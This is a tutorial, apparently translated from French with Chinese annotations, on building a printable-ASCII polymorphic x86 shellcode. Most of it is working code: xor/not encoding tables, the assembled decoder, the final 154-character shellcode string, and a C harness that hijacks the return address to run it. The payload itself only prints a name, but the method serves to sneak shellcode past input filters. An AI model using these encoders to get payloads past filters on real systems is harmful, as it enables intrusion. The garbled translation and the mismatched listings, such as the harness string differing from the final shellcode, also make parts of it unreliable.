How to create an ASCII shellcode ?

转自：**Shell-Storm.org Author:** Florian Gaultier

I – Presentation of polymorphism in printable ASCII characters

To deal with a large number of vulnerabilities, including the execution of shellcode classics, some programs put in place restrictions on the buffers.
Imagine a program performing an audit on what is entered, only accept characters printable, then it is impossible to include most of the instructions usually assemblers used.

For example, the 0x80 interrupt: "\xcd\x80", these two opcodes not correspond to any ASCII character Print. Fortunately, we have sufficient instructions using printable characters ..

II – Concept and structure of a polymorphic shellcode ASCII

ASCII polymorphic shellcode, as its name suggests, is primarily polymorphic, ie
a piece of our shellcode will be used to decode our real shellcode which will be written as
phrase. However, instead of using a loop as a polymorphic shellcode classic
the challenge will be to decode differently each byte.

The printable ASCII characters are between x20 and x7e. But for purists, we can
increase the difficulty by using only alphanumeric characters: it will proceed
also through restrictions buffer alphanumeric.
The alphanumeric characters are included in the beaches x30 – x39, x41 – x61 x5a and – x7a.

To decode, we use the xor instruction opcodes which correspond to an alphanumeric character.

Several methods exist to decode each opcode. We can build the shellcode in transforming
a sentence, placed at the end of shellcode instructions before eip will happen.

```
+—————+—————+————————–+
| ‘TOOLS’ | DECODER | Shellcode Encoder |
+—————+—————+————————–+
```

Another method is to build the shellcode in the stack decoding in a record or
in the stack directly. He must then find a way to jump into the pile.

```
+—————+—————————————-+—- ——-+—————————————-+————- – +
| ‘TOOLS’ | PIECE Shellcode Encoder | DECODER | PIECE Shellcode Encoder | DECODER | …
+—————+—————————————-+—- ——-+—————————————-+————- – +
```

Of course, each method has advantages and disadvantages.

III – The construction of the shellcode

III – 1. “Tools”

As we can see, the two methods mentioned above use “tools”.
It is a sequence of instructions that edits the registry to be used later to decode.

```
Dec esp
Dec esp
Dec esp
Dec esp
pop edx; Retrieves a record the start address of the shellcode.
push dword 0x58494741
pop eax
xor eax, 0x58494741
Dec eax; Retrieves a record FFFFFFFF.
push esp
pop ecx; Retrieves a register address of the stack.
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad
```

The pop instruction is a printable ascii character only eax, ecx, and edx is why
we use popad after stacked in a specific order all the registries.
Indeed popad equivalent to the following

```
POP EDI
POP ESI
POP EBP
POP ESP
POP EBX
POP EDX
POP ECX
POP EAX
```

Our tools are ready: **eax** with the address of the beginning of the shellcode, **ecx** with the address stack, we use **edx** to xor what we want and finally with FFFFFFFF **ebx** who used xor, "not" equivalent to the statement.

The following statement gives:

> LLLLZhAGIXX5AGIXHTYRQRPTUVWa

A tour by gdb to check the registers:

> ***eax: 080495B4***
>
> ***ebx: FFFFFFFF***
>
> ***ecx: BFC83220***
>
> ***edx: 080495B4***
>
> ***esp: BFC83220***
>
> ***eip: 080495D0***

Everything is okay!

III – 2. Some calculations

The tricky part now is to find how xorer a byte within the limits
printable characters, with a printable character to give the final byte of the shellcode.
We will continue with the previous shellcode, and rewrite it by finding the right xoring for each byte order not to give a line that characer printable.

```
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x09\x6a\x0a\x68\x74\x68\x61\x6e\x68\x6a\x6f
\x6e\x61\x89\xe1\xb3\x01\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80
```

We can already keep some bytes that are already giving us Print:

```
\x31\xXX\x31\xXX\x31\xXX\x31\xXX\xXX\xXX\x6a\xXX\x68\x74\x68\x61\x6e\x68\x6a\x6f
\x6e\x61\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\x31\xXX\xXX\xXX\xXX\xXX
```

We have 20 bytes to convert.

Get out the calculators, you attack \xc0.
A simple "not" instruction to turn *C0* into *3F*.
For 09, we can xorer by 20 to 71.
For E1, one "not" which gives us a 'xor' by 1E and 50, for example.

It is therefore not always be a, a 'not' then a 'xor', a 'xor' is need to find!

(这一段有点混乱，大意就是>=0x80的字符可以先 取反（not），然后找两个数字xor，<=0x7f的数字直接找两个数字 xor 就行)

```
\x31
\xc0 not \x3f
\x31
\xdb not \x24
\x31
\xc9 not \x36
\x31
\xd2 not \x2d
\xb2 not \x4d
\x59 xor \x09 \x50
\x6a
\x0a xor \x50 \x59
\x68
\x74
\x68
\x61
\x6e
\x68
\x6a
\x6f
\x6e
\x61
\x89 not \x76
\xe1 not xor \x50 \x4e
\xb3 not \x4c
\x51 xor \x01 \x50
\xb0 not \x4f
\x54 xor \x04 \x50
\xcd not \x32
\x80 not xor \x50 \x2f
\x31
\xdb not \x24
\xb0 not \x4f
\x01 xor \x50 \x51
\xcd not \x32
\x80 not xor \x50 \x2f
```

That’s quite tedious, but nothing prevents you from xorer to get a pretty phrase (http://www.shell-storm.org/shellcode/files/shellcode-650.php example) or on only alphanumeric characters!

We get here:

```
1?$1161-MYjZhthanhjonavNLQOT2/$1OQ2/
```

III – 3. Decoding (method 1)

————————————-

Tools and xor in hand, it is very easy to decode the sentence.
The challenge remaining is to find the right not to fall on the right byte xorer, we determine subsequently using NDISASM（应该是一个反汇编工具）.
For simplicity starting 40 (28 in hex) which is a round number, which corresponds to a character Print. The shellcode decoding should therefore not exceed 86 bytes with this method.

```
xor [eax + 41], bh; We begin with the second since the first byte is 31 with a not (xor ff)
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050; We modify dx order xorer with 4A
pop dx
xor [eax + 49], dh
push word 0x5050
pop dx
xor [eax +51], dh
xor [eax + 62], bh
xor [eax + 63], bh; do not xor
push word 0x5050
pop dx
xor [eax + 63], dh
xor [eax + 64], bh
push word 0x5050
pop dx
xor [eax +65], dh
xor [eax + 66], bh
push word 0x5050
pop dx
xor [eax +67], dh
xor [eax + 68], bh
xor [eax +69], bh
push word 0x5050
pop dx
xor [eax +69], dh
xor [eax + 71], bh
xor [eax + 72], bh
push word 0x5050
pop dx
xor [eax +73], dh
xor [eax + 74], bh
xor [eax + 75], bh
push word 0x5050
pop dx
xor [eax +75], dh
```

All these instructions decode our shellcode! Luckily, only 50 are used to xorer, it is not always the case, especially if you want to alphanumeric shellcode or write your own sentence.
So we can consolidate identical xor push word 0x5050 are there for example in case we do xorer could not all bytes with 50.

This gives us:

```
xor [eax + 41], bh
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050
pop dx
xor [eax + 49], dh
xor [eax +51], dh
xor [eax + 62], bh
xor [eax + 63], bh
xor [eax + 63], dh
xor [eax + 64], bh
xor [eax + 65], dh
xor [eax + 66], bh
xor [eax + 67], dh
xor [eax + 68], bh
xor [eax + 69], bh
xor [eax + 69], dh
xor [eax + 71], bh
xor [eax + 72], bh
xor [eax + 73], dh
xor [eax + 74], bh
xor [eax + 75], bh
xor [eax + 75], dh
```

Ascii: 0x) 0x 0 x-0x/0x0fhPPfZ0p10p30x> 0x? 0p? 0x @ 0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK

Our ascii shellcode looks for the moment

```
LLLLZhAGIXX5AGIXHTYRQRPTUVWa
0x)0x0x-0x/0x0fhPPfZ0p10p30x>0x?0p?0x@ 0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK
1?161-MYjZhthanhjonavNLQOT2$1/$1OQ2/
```

Now we need [eax + 40] gives the address of the first byte of the sentence to be decoded!
To do this we will have to add a number to eax before starting to decode. But opcodes "add" instruction can not be printed, so we use the sub it is. Indeed, subtract enough we can fall back on a larger number.

It usually takes three sub that we must rely to determine the address of our sentence. We go through how to find NDISASM add.

```
00000000      4C              dec esp
```

```
00000001       4C             dec esp
00000002       4C             dec esp
00000003       4C             dec esp
00000004       5A             pop edx
00000005       6841474958     push dword 0x58494741
0000000A       58             pop eax
0000000B       3541474958     xor eax, 0x58494741
00000010       48             dec eax
00000011       54             push esp
00000012       59             pop ecx
00000013       52             push edx
00000014       51             push ecx
00000015       52             push edx
00000016       50             push eax
00000017       54             push esp
00000018       55             push ebp
00000019       56             push esi
0000001A       57             push edi
0000001B       61             popa
0000001C       2D41414141     sub eax, 0x41414141
00000021       2D42424242     sub eax, 0x42424242
00000026       2D43434343     sub eax, 0x43434343
0000002B       307829         xor [eax+0x29], bh
0000002E       30782B         xor [eax+0x2b], bh
00000031       30782D         xor [eax+0x2D], bh
00000034       30782F         xor [eax+0x2f], bh
00000037       307830         xor [eax+0x30], bh
0000003A       66685050       push word 0x5050
0000003E       665A           pop dx
00000040       307031         xor [eax+0x31], dh
00000043       307033         xor [eax+0x33], dh
00000046       30783E         xor [eax+0x3e], bh
00000049       30783F         xor [eax+0x3f], bh
0000004C       30703F         xor [eax+0x3f], dh
0000004F       307840         xor [eax+0x40], bh
00000052       307041         xor [eax+0x41], dh
00000055       307842         xor [eax+0x42], bh
00000058       307043         xor [eax+0x43], dh
0000005B       307844         xor [eax+0x44], bh
0000005E       307845         xor [eax+0x45], bh
00000061       307045         xor [eax+0x45], dh
00000064       307847         xor [eax+0x47], bh
00000067       307848         xor [eax+0x48], bh
0000006A       307049         xor [eax+0X49], dh
0000006d       30784A         xor [eax+0x4a], bh
00000070       30784B         xor [eax+0x4b], bh
```

```
00000073        30704B          xor [eax+0x4b], dh
00000076        db       '1?161-MYjZhthanhjonavNLQOT2$1/$1OQ2/'
```

must [eax + 40] has this value is

So we add 0x76 – 0x28 in eax for getting the right byte, ie add 0x4e.
Even the calculation to determine what to avoid, knowing that they must subtract corresponding to displayable characters!

0 – 6D6D6D30 = 929292D0 – 51515130 = 414141A0 – 41414152 = 4E

The account is good!

Our shellcode is finished:

```
dec esp
dec esp
dec esp
dec esp
pop edx
push dword 0x58494741
pop eax
xor eax, 0x58494741
dec eax
push esp
pop ecx
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad
sub eax, 0x6D6D6D30
sub eax, 0x51515130
sub eax, 0x41414152
xor [eax + 41], bh
xor [eax + 43], bh
xor [eax + 45], bh
xor [eax + 47], bh
xor [eax + 48], bh
push word 0x5050
pop dx
xor [eax + 49], dh
xor [eax +51], dh
xor [eax + 62], bh
xor [eax + 63], bh
xor [eax + 63], dh
xor [eax + 64], bh
xor [eax +65], dh
xor [eax + 66], bh
xor [eax +67], dh
xor [eax + 68], bh
xor [eax +69], bh
xor [eax +69], dh
xor [eax + 71], bh
xor [eax + 72], bh
xor [eax +73], dh
xor [eax + 74], bh
xor [eax + 75], bh
xor [eax +75], dh
db '1?$1161-MYjZhthanhjonavNLQOT2/OQ2$1/'
```

We get a nice ascii shellcode 154 characters!

```
LLLLZhAGIXX5AGIXHTYRQRPTUVWa-0mmm-0QQQ-RAAA0x)0x0x-0x/0x0fhPPfZ0p10p30x>0x?0p?
0x@0pA0xB0pC0x
D0xE0pE0xG0xH0pI0xJ0xK0pK1?161-MYjZhthanhjonavNLQOT2$1/$1OQ2/
```

We test our shellcode

```
#include <stdio.h>

char SC[] = “LLLLZhAGIXX5AGIXHTYRQRPTUVWa” // tools
“-0mmm-CEOS-0QQQ” // add the step
// Decoding
“0x) 0x 0 x-0x/0x0fhPPfZ0p10p30x> 0x? 0p?
0pA0xB0pC0xD0xE0pE0xG0xH0pI0xJ0xK0pK @ 0x”

“1? $ 1 161-MYjZhthanhjonavNLQOT2 / OQ2 $ 1 /” // decode phrase

int main ()
{
    printf("Length:%d \n", strlen(SC));
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)SC;
}
```

```
AGIX~#gcc-o test test.c
AGIX~#./test
Length: 154
jonathan
AGIX~#
```

Warning it is important to use
int * ret;
ret = (int *) & ret + 2;
(* Ret) = (int) SC;

so we can retrieve the address from the top of our shellcode in eax (using the December 4 esp the beginning)

III – 4. Decoding (Method 2)

——————————–

A little quick explanation of the second method is to write the shellcode in the stack.
We'll use this time ecx contains the address of the stack.

inc ecx; must increment ecx to point to the first byte of the stack.
push dword 0x4f51322f; We put the battery in a piece of our sentence.
xor [ecx], bh; Can we edit each byte in the same manner as the first method.
inc ecx; ecx must increment each time to edit the next byte.
push word 0x5050
pop dx
xor [ecx], dh
inc ecx
…

To jump into the pile must first put the address of the stack into the stack and make a retd.
The ret instruction in place push eip address on the stack ie the address of our shellcode decoded.

push esp
ret

Unfortunately ret is not printable, so use the same method as above and edit
byte in advance to give the ret instruction.

push word 0x7070
pop dx
xor [eax + 100], dh

To find the step to add eax, we can use NDISASM to be precise or save a
fairly large number (which is always included in the printable characters).
It will then add several L at the shellcode, this corresponds to a decrement esp
and a ‘xor 70’ gives the ret instruction.
The queue implementation will therefore arrive on the L which has been transformed into ret and jump into the pile!